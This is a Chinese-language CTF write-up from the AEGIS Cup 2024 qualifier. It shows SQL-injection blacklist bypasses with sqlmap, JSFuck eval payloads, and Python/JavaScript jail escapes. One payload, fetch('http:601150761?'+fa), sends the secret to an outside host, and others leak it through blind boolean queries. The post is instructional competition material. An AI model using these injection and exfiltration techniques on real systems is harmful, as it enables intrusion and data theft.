神盾盃初賽 2024

神盾盃初賽 2024

Ching367436 竹狐隊長

這次跟 SurveyCake(竹狐子隊)來打神盾盃—資安競賽初賽,拿了第二。第一名的隊伍也都是竹狐的人。

scoreboard

Web

do you like injection

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask, render_template, request, jsonify
import sqlite3
import logging

app = Flask(__name__)
logging.basicConfig(filename='app.log', level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
blockList = ['\'', '"', '#', '-' ,'\\' ,'*', ' ']

@app.route('/')
def index():
user_ip = request.remote_addr
app.logger.info(f'Accessing the home page. User IP: {user_ip}')
return render_template('index.html')

@app.route('/check_user', methods=['POST'])
def check_user():
try:
user_ip = request.remote_addr
req = request.get_json()
if 'username' not in req:
response = {'status': 'warning', 'message': 'No username.'}
app.logger.warning(f'No username by {user_ip}.')
return jsonify(response)
username = req['username']
for keyword in blockList:
if keyword in username:
response = {'status': 'warning', 'message': 'Detected malicious activity.'}
app.logger.warning(f'Detected malicious activity by {user_ip} : {keyword}')
return jsonify(response)
if len(username) > 10:
response = {'status': 'warning', 'message': 'Username was too long.'}
app.logger.warning(f'Username was too long by {user_ip}.')
else:
print(f"SELECT * FROM user WHERE username = '{username}'")
conn = sqlite3.connect("file:database.db?mode=ro",uri=True)
cursor = conn.cursor()
cursor.execute(f"SELECT * FROM user WHERE username = '{username}'")
user = cursor.fetchone()
conn.close()
if user:
response = {'status': 'success', 'message': 'User exists.'}
app.logger.info(f'{user_ip} found {username}.')
else:
response = {'status': 'fail', 'message': 'User does not exist.'}
app.logger.info(f'{user_ip} did not find {username}.')
return jsonify(response)
except Exception as e:
user_ip = request.remote_addr
app.logger.error(f'An error occurred by {user_ip}: {str(e)}')
return jsonify({'status': 'error', 'message': 'error'})

題解

check_usercursor.execute(f"SELECT * FROM user WHERE username = '{username}'") 有 SQLi,但 username 有 blacklist,可以透過把 username 變成陣列來繞過 ' 的限制,如下。所以可以做 Boolean-based SQLi。

1
2
3
4
5
> curl 'http://host/check_user' -H 'Content-Type: application/json' --data '{"username":[" or 1=1 -- "]}'
{
"message": "User exists.",
"status": "success"
}

所以這邊就把剩下的工作交給 SQLMap。我在 request.txt 植入點標上 *,讓 SQLMap 知道要從那邊注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> sqlmap --level 5 --risk 3 --dump --technique=B --dbms sqlite3 -r request.txt --force-ssl
sqlmap identified the following injection point(s) with a total of 228 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: {"username":[" ' OR NOT 5167=5167-- KUUE -- "]}
---
back-end DBMS: SQLite
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: {"username":[" ' OR NOT 5167=5167-- KUUE -- "]}
---
request.txt
1
2
3
4
5
6
7
8
9
10
11
12
POST /check_user HTTP/1.1
Host: aegis2024-web-doyoulikeinjection.chals.io
Content-Length: 30
Content-Type: application/json
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: */*
Origin: https://aegis2024-web-doyoulikeinjection.chals.io
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"username":[" * -- "]}

JSFBox

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
const express = require('express');
const app = express();
const fa = 'AEGIS{test}'
const port = 1024;

app.use(express.text());
app.use("/", express.static("static"));

app.post("/escape", (req, res) => {
body = req.body;
let validationResult = validateString(body);

if (validationResult !== "String is valid.") {
return res.send(validationResult);
}

console.log(body);

let result;
try {
result = eval(body).toString();
} catch (e) {
return res.send("Something went wrong with your code.");
}

try {
if (String (eval(result)) === fa) {
return res.send("WOW! How did you know the flag?");
}
} catch (e) {}

return res.send("Good job! Try harder.");
});

app.listen(port, () => {
console.log(`App running on http://localhost:${port}`);
});

function validateString(input) {
if (!/^[^\w=]+$/.test(input)) {
return "ERROR: Input must only contain symbols.";
}

const charCount = {};
for (let char of input) {
charCount[char] = (charCount[char] || 0) + 1;
}

const sortedSymbols = Object.keys(charCount).sort((a, b) => charCount[b] - charCount[a]);

if (sortedSymbols.length > 2**4) {
return "ERROR: More than 8 different symbols used.";
}

for (let i = 0; i < sortedSymbols.length; i++) {
const maxAllowed = 2**7 - i;
if (charCount[sortedSymbols[i]] > maxAllowed) {
console.log(`ERROR: Symbol '${sortedSymbols[i]}' appeared ${charCount[sortedSymbols[i]]} times, which exceeds the limit of ${maxAllowed}.`)
}
console.log(`NOERROR: Symbol '${sortedSymbols[i]}' appeared ${charCount[sortedSymbols[i]]} times, which exceeds the limit of ${maxAllowed}.`)
}

return "String is valid.";
}

題解

總之,題目送我們免費的 JavaScript Code Execution,但能用的字元種類數有限制,每個種類的量也有限制。簡單來講就是來做 JSFuck

我們採用了以下 payload 作為基底,然後送到 JSFuck,發現同種類的字元數太多,需要優化。

1
fetch('http:601150761?'+fa)
1
(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]

可以來看一下 JSFuck 原理:

Basics

1
2
3
4
5
6
7
8
9
10
11
12
false       =>  ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]

先來解決第一個問題:+ 太多。+ 在 JSFuck 有「把後面轉換成數字」的功能,但 - 也可以進行數字轉換。可以透過負負得正來把 + 變成 -,如下。注意到 JSFuck 還在後面多加了 +[],這是為了把 0 轉換成字串,但我們不需要,所以可以拿掉。

1
2
original_0 = '[+[]]+[]'
improved_0 = '-(-[])'

接著是 [] 太多。+[] 的意思是把 [] 轉成數字,也就是 0,我們可以改用 +"",有一樣的效果。

1
2
original_1 = '[+!+[]]+[]'
improved_1 = '-(-!"")'

+ 有時候表示字串拼接,這種可以由 Template literals 來取代,如下:

1
2
original_res = a + b
improved_res = `${a}${b}`

接著是取得 h,因為 JSFuck 原生的 h 太長了,如下。解法是使用 Unicode Escape Sequence ,用原本低成本數字拼接來造,如下二,可看到長度少了很多。

1
(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]
1
2
3
4
> u = `([][""]+"")[+""]`
> h = `'\\\\'+${u}+[+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]`
> console.log(eval(h))
\u0068

這樣就差不多解好了。

gen_payload_fetch.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// fetch('http:601150761?'+fa)
f = `(![]+"")[-(-"")]`
e = `(!""+"")[-(-""-!""-!""-!"")]`
t = `(!""+"")[+""]`
c = `([][(!!""+"")[+""]+(!!""+[])[-(-""-!""-!"")]+(!!""+"")[+!+""]+(!""+"")[-(-"")]]+"")[!+[]+!+[]+!+[]]`
u = `([][""]+"")[+""]`

h = `'\\\\'+${u}+[+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]`
p = `'\\\\'+${u}+[+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]`

a = `(![]+[])[+!+[]]`

_0 = '-(-"")'
_1 = '-(-!"")'
_3 = '-(-""-!""-!""-!"")'
_4 = '-(-""-!""-!""-!""-!"")'
_5 = '-(-""-!""-!""-!""-!""-!!{})'
_6 = '-(-""-!!{}-!!{}-!!{}-!!{}-!!{}-!!{})'
_7 = '-(-""-!""-!""-!""-!""-!""-!""-!"")'

let payload;
payload = concat_template(f, e, t, c, h, `'('`, `"'"`, h, t, t, p, `':'`, _6, _0, _1, _1, _5, _0, _7, _6, _1, `"/'+"`, f, a, `')'`)
process.stdout.write(payload)

function concat_template() {
const args = Array.from(arguments);
let payload = '`'
for (let i = 0; i < args.length; i++) {
payload += '${'
payload += args[i]
payload += '}'
}
payload += '`'
return payload
}

另解

長度有限的縮短方式也可以透過 Boolean-based 來二分搜,因為可以製造出兩種不同的 response,比如下面可以取得 flag 的第 0 個字是否小於 B,是隊友太陽提供的。

1
fa[0]<"B"&&fa

下面是賽中寫的,還沒修到好但自動生成的概念就是這樣。

gen_payload.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
// fa[0]<"B"&&fa

const { JSFuck } = require('./jsfuck')

function replaceAll(str, find, replace) {
return str.replace(new RegExp(find, 'g'), replace);
}

function encode(char) {
let res = JSFuck.encode(char)
switch (char) {
case 'A':
res = `(+[![]]+[][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]())[+!+[]+[+!+[]]]`
break;
}
// replace all !![] with !""
res = replaceAll(res, `!!\\[\\]`, `!""`)
res = replaceAll(res, `!\\[\\]`, `!!""`)
res = replaceAll(res, `\\+\\[\\]\\+`, `+""+`)
return res
}
function getPayload(char, i) {
f = `(![]+"")[-(-"")]`
a = encode('a')

// less
_l = encode('<')
_g = encode('>')

char = encode(char)

_0 = `(+'')`
_1 = `(+!+'')`


let payload = concat(f, a, `'['`, _0, `']'`, _g, `"\\""`, char, `"\\""`, `"&&"`, f, a)
return payload

function concat() {
const args = Array.from(arguments);
let res = ''
for (let i = 0; i < args.length; i++) {
res += args[i]
if (i != args.length - 1) res += `+`
}
return res
}
}
// console.log(JSFuck.encode(`fa[0]>"a"`)+`+"&&"+`+JSFuck.encode('fa'))

function testPayload(payload) {
const test = require("./test")
const res = test(payload)
if (res == "Good job! Try harder.") return false;
if (res == "WOW! How did you know the flag?") return true;
console.error(`res: ${res}`)
return "Nope"
}

const charset = `?AIN+abcdefijlnorstuy`
let i = 0;
for (const char of charset) {
console.log(char)
const payload = getPayload(char, i)
const res = testPayload(payload)
console.log(res)
console.log(`===========`)
}

JSFBox 2

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const express = require('express');
const app = express();
const fs = require('fs');
const fa = fs.readFileSync('/flag', 'utf-8');
const port = 1024;

app.use(express.text());

app.use("/", express.static("static"));

app.post("/escape", (req, res) => {
body = req.body;
let validationResult = validateString(body);

if (validationResult !== "String is valid.") {
return res.send(validationResult);
}

console.log(body);

let result;
try {
result = eval(body).toString();
} catch (e) {
return res.send("Something went wrong with your code.");
}

try {
if (String (eval(result)) === fa) {
return res.send("WOW! How did you know the flag?");
}
} catch (e) {}

return res.send("Good job! Try harder.");
});

app.listen(port, () => {
console.log(`App running on http://localhost:${port}`);
});

function validateString(input) {
if (!/^[^\w=]+$/.test(input)) {
return "ERROR: Input must only contain symbols.";
}

const charCount = {};
for (let char of input) {
charCount[char] = (charCount[char] || 0) + 1;
}

const sortedSymbols = Object.keys(charCount).sort((a, b) => charCount[b] - charCount[a]);

if (sortedSymbols.length > 2**4) {
return "ERROR: More than 8 different symbols used.";
}

for (let i = 0; i < sortedSymbols.length; i++) {
const maxAllowed = 20 - Math.floor(i / 2) * 2;
if (charCount[sortedSymbols[i]] > maxAllowed) {
return `ERROR: Symbol '${sortedSymbols[i]}' appeared ${charCount[sortedSymbols[i]]} times, which exceeds the limit of ${maxAllowed}.`;
}
}

return "String is valid.";
}

題解

這題跟前面一樣,只是同種類能用的字元數量更少了。上題的 payload 基底因為本身就挺長的所以我沒繼續看這題。賽後看到好駭客 JSFBox 的 payload 挺短的,如下。他們好像只有用 JSFuck,沒有特別改良,如下二。賽後幫他們改良成了以下,如下下下,賽中如果有這個點子的話我應該會繼續解。

1
res.end(fa)
1
(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+(![]+[])[+[]]+(![]+[])[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]
1
`${(!``+"")[+!+``]}${(!''+"")[-(-``-!``-!``-!"")]}${(!{}+"")[[!+{}+!+{}+!+""]]}.${(!''+``)[-(-""-!''-!''-!'')]}${({}['']+'')[+!+'']}${(([[]]+"")[+[]]+[])[+!""+!""]}(${(!{}+[])[-(-"")]}${(!{}+[])[-(-!"")]})`

Misc

Eazy Jail

題目 (Stage 1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import os

def validate_and_execute(user_input, expected_length):
EXPECTED_RESULT = 2
allowed_characters = set('abcdefg123456{}"')

if len(user_input) != expected_length:
print(f"Invalid input length. Your input must be exactly {expected_length} characters long.")
return False

if set(user_input).difference(allowed_characters):
print("Invalid input. Only a,b,c,d,e,f,g,1,2,3,4,5,{,} certain characters are allowed.")
return False

expression = f"int({user_input})"
result = eval(expression, {'__builtins__': None}, {'int': int})
try:
if result != EXPECTED_RESULT:
print(f"Error.")
return False
else:
return True
except Exception:
print(f"Error.")
return False

levels = [1, 3, 4, 6, 7, 8, 10, 11]

def start_game():
logo="""
░█████╗░███████╗░██████╗░██╗░██████╗ Eazy Jail For Beginner
██╔══██╗██╔════╝██╔════╝░██║██╔════╝
███████║█████╗░░██║░░██╗░██║╚█████╗░
██╔══██║██╔══╝░░██║░░╚██╗██║░╚═══██╗
██║░░██║███████╗╚██████╔╝██║██████╔╝
╚═╝░░╚═╝╚══════╝░╚═════╝░╚═╝╚═════╝░ STAGE 1"""
print(logo)
print("Your task is to enter a string that, when used in a command like 'int(YOUR_INPUT)', results in the number 2.")
print("Each level requires a different input length. If you succeed through all levels, you will reach the next stage!")
for level in levels:
print(f"\nLevel {levels.index(level) + 1} of {len(levels)}: Enter a payload exactly {level} characters long.")
while True:
user_input = input("Enter a payload: ")
if validate_and_execute(user_input, level):
print(f"Congratulations on passing level {levels.index(level) + 1}!")
if level == 11:
os.system('clear')
os.system('node stage2.js')
return
break
else:
print("An error occurred.")
return

if __name__ == "__main__":
start_game()
exit()

題目 (Stage 2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
const fa = 'AEGIS{345y_j41l_f0r_b361nn3r_n07_w473r_qu35710n_QQ}';
const ans = '01024'

const readline = require('readline').createInterface({
input: process.stdin,
output: process.stdout
});

const LOGO = `
░█████╗░███████╗░██████╗░██╗░██████╗ Eazy Jail For Beginner
██╔══██╗██╔════╝██╔════╝░██║██╔════╝
███████║█████╗░░██║░░██╗░██║╚█████╗░
██╔══██║██╔══╝░░██║░░╚██╗██║░╚═══██╗
██║░░██║███████╗╚██████╔╝██║██████╔╝
╚═╝░░╚═╝╚══════╝░╚═════╝░╚═╝╚═════╝░ STAGE 2\n`;

const QUESTION = `
${LOGO}
What's my favorite number?

- 1024 is my birthday
- 532 is my last 3 digits of my phone
`;

const CORRECT_ANSWER = 1024;
const EXPECTED_RESULT = 532;

console.log(QUESTION);
let evaluationResult;

readline.question('Guess the number: ', input => {
const guessedNumber = Number(input);

console.log(`\n=====================================\n`);
console.log(`guessedNumber: ${guessedNumber}`);
if (guessedNumber === CORRECT_ANSWER) {
console.log(`guessedNumber: ${guessedNumber}`);
try {
evaluationResult = safeEval(input);
if (evaluationResult === EXPECTED_RESULT) {
displaySuccess();
} else {
displayFailure();
}
} catch (error) {
displayError();
}
} else {
displayFailure();
}
readline.close();

});

function safeEval(input) {
const allowedChars = /^[0-9+\-*/.\s]+$/;

if (!allowedChars.test(input)) {
throw new Error('Invalid characters detected!');
}

return new Function(`return (${input})`)();
}

function displaySuccess() {
console.log(`Good job! You got it! :)`);
console.log(`Flag: ${fa.trim()}\n`);
}

function displayFailure() {
console.log('Oops! Wrong answer! Try again :)\n', evaluationResult);
}

function displayError() {
console.log(`Error occurred! Please try again!\n`);
}

題解 (Stage 1)

隊友 freddy 解的,他的 payload:

1
2
3
4
5
6
7
8
2
"2"
f"2"
f"{2}"
"""2"""
f"""2"""
f"""{2}"""
f"""2"""f""

題解 (Stage 2)

這題要讓 Number(input)==1024safeEval(input)==532。可以看出 0o1024 == 532,所以應該跟進位轉換有關。翻到了下面這個文件:

所以用 01024 就能解了。原理是 Number(01024) 根據上面的文件,會被視為十進位的數字;而 01024 直接 eval 則是會是八進位的。

  • Title: 神盾盃初賽 2024
  • Author: Ching367436
  • Created at : 2024-09-14 21:52:23
  • Link: https://blog.ching367436.me/神盾盃初賽-2024/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments